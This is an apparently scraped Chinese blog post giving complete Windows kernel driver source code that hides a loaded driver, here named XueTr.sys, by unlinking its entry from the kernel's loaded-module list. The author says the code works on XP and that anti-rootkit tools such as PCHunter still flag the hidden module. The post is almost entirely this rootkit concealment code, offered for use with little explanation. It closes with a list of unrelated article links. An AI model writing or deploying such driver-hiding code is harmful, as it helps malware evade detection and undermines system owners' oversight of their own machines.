隐藏驱动模块(源码)
来源:互联网 发布:螺旋打印二维数组 编辑:程序博客网 时间:2024/05/21 14:48
XP亲测有效,使用我们自己编写的枚举驱动模块会看不到。枚举驱动模块请看文章 http://blog.csdn.net/liujiayu2/article/details/72822478
但是使用ARK工具依然能看到我们隐藏的驱动某块,比如kernel detective 和PChunter 但是隐藏的驱动模块为红色,意为ARK工具检测到了该模块进行了隐藏
- #include <ntddk.h>
- typedef unsigned long DWORD;
- typedef struct _KLDR_DATA_TABLE_ENTRY {
- LIST_ENTRY InLoadOrderLinks;
- PVOID ExceptionTable;
- ULONG ExceptionTableSize;
- PVOID GpValue;
- DWORD UnKnow;
- PVOID DllBase;
- PVOID EntryPoint;
- ULONG SizeOfImage;
- UNICODE_STRING FullDllName;
- UNICODE_STRING BaseDllName;
- ULONG Flags;
- USHORT LoadCount;
- USHORT __Unused5;
- PVOID SectionPointer;
- ULONG CheckSum;
- PVOID LoadedImports;
- PVOID PatchInformation;
- } KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY;
- PDRIVER_OBJECT pDriverObject = NULL;
- VOID
- HideDriver()
- {
- PKLDR_DATA_TABLE_ENTRY entry =(PKLDR_DATA_TABLE_ENTRY)pDriverObject->DriverSection;
- PKLDR_DATA_TABLE_ENTRY firstentry;
- UNICODE_STRING uniDriverName;
- firstentry = entry;
- // 初始化要隐藏驱动的驱动名
- RtlInitUnicodeString(&uniDriverName, L"XueTr.sys");
- while((PKLDR_DATA_TABLE_ENTRY)entry->InLoadOrderLinks.Flink != firstentry)
- {
- if (entry->FullDllName.Buffer != 0)
- {
- if (RtlCompareUnicodeString(&uniDriverName, &(entry->BaseDllName), FALSE) == 0)
- {
- KdPrint(("隐藏驱动 %ws 成功!\n", entry->BaseDllName.Buffer));
- // 修改 Flink 和 Blink 指针, 以跳过我们要隐藏的驱动
- *((DWORD*)entry->InLoadOrderLinks.Blink) = (DWORD)entry->InLoadOrderLinks.Flink;
- entry->InLoadOrderLinks.Flink->Blink = entry->InLoadOrderLinks.Blink;
- /*
- 使被隐藏驱动LIST_ENTRY结构体的Flink, Blink域指向自己
- 因为此节点本来在链表中, 那么它邻接的节点驱动被卸载时,
- 系统会把此节点的Flink, Blink域指向它相邻节点的下一个节点.
- 但是, 它此时已经脱离链表了, 如果现在它原本相邻的节点驱动被
- 卸载了, 那么此节点的Flink, Blink域将有可能指向无用的地址, 而
- 造成随机性的BSoD.
- */
- entry->InLoadOrderLinks.Flink = (LIST_ENTRY*)&(entry->InLoadOrderLinks.Flink);
- entry->InLoadOrderLinks.Blink = (LIST_ENTRY*)&(entry->InLoadOrderLinks.Flink);
- break;
- }
- }
- // 链表往前走
- entry = (PKLDR_DATA_TABLE_ENTRY)entry->InLoadOrderLinks.Flink;
- }
- }
- NTSTATUS
- UnloadDriver(
- IN PDRIVER_OBJECT DriverObject
- )
- {
- return STATUS_SUCCESS;
- }
- NTSTATUS
- DriverEntry(
- IN PDRIVER_OBJECT DriverObject,
- IN PUNICODE_STRING RegistryPath
- )
- {
- DriverObject->DriverUnload = UnloadDriver;
- pDriverObject = DriverObject;
- HideDriver();
- return STATUS_SUCCESS;
- }
阅读全文
0 0
- 隐藏驱动模块(源码)
- VipShell驱动隐藏模块
- 隐藏驱动模块
- 基于scull结构的驱动模块源码
- Windows内核遍历驱动模块源码分析
- 转:简单的隐藏注册表键值的驱动源码
- 驱动隐藏
- linux 驱动模块hello.c的Makefile源码
- Win64 驱动内核编程-25.X64枚举和隐藏内核模块
- Ubuntu12.10 内核源码外编译 linux模块--编译驱动模块的基本方法
- Ubuntu12.10 内核源码外编译 linux模块--编译驱动模块的基本方法
- Ubuntu12.10 内核源码外编译 linux模块--编译驱动模块的基本方法
- js 隐藏/显示模块
- Dll 模块隐藏技术
- 用驱动隐藏进程
- 隐藏驱动盘符
- 隐藏驱动的方法
- 驱动隐藏文件
- Mysql数据库调优和性能优化的21条最佳实践
- Unity Shader之波浪效果
- 《人工智能三愿》笔记
- 设计模式入门:迭代器模式
- Android 静态方法调用非静态方法
- 隐藏驱动模块(源码)
- 《【NSR】中国人工智能迎来黄金时代,跟风发展快但缺乏重大突破》笔记
- 单例模型
- 数据结构实验报告-图算法-最小生成树-最短路-拓扑排序-搜索
- 【原创】KM算法的Bfs写法
- 转载 mysql 数据库优化配置实例
- cordova开发:android端用video.js播放视频,解决退出全屏后应用被状态栏遮挡
- mysql优化
- Kubernetes集群中Service的滚动更新